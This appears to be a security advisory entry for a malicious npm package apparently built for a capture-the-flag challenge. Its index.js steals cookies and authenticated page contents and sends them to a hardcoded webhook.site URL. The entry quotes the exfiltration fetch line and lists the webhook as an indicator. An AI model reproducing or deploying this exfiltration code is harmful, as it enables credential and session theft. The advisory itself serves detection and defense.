GCVE-110-OSM-2026-12458

The package's main file index.js is an IIFE that, when loaded in a browser same-origin context (e.g. via unpkg), reads location.href and document.cookie, fetches authenticated endpoints such as /profile, /admin, /dev, /flag, and /me with credentials:'include', and POSTs the responses along with a matched flag pattern to the hardcoded webhook https://webhook.site/04d98207-c947-4938-9f0c-f92feae051cb/. package.json contains only a 'ctf' description with no author or repository, and the single shipped artifact is this exfiltration payload. Comments in the file describe it as an unpkg-hosted exfil payload. ENTRY index.js (main: index.js) DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in index.js: "webhook.site" - Fetch and Eval/Exec in index.js: "fetch(W + '?' + k + '=' + encodeURIComponent(String(v))).catch(() => {}); // 1) ..." - Data Encoding for Exfiltration in index.js: "encodeURIComponent(String(v))).catch" PAYLOAD FILES index.js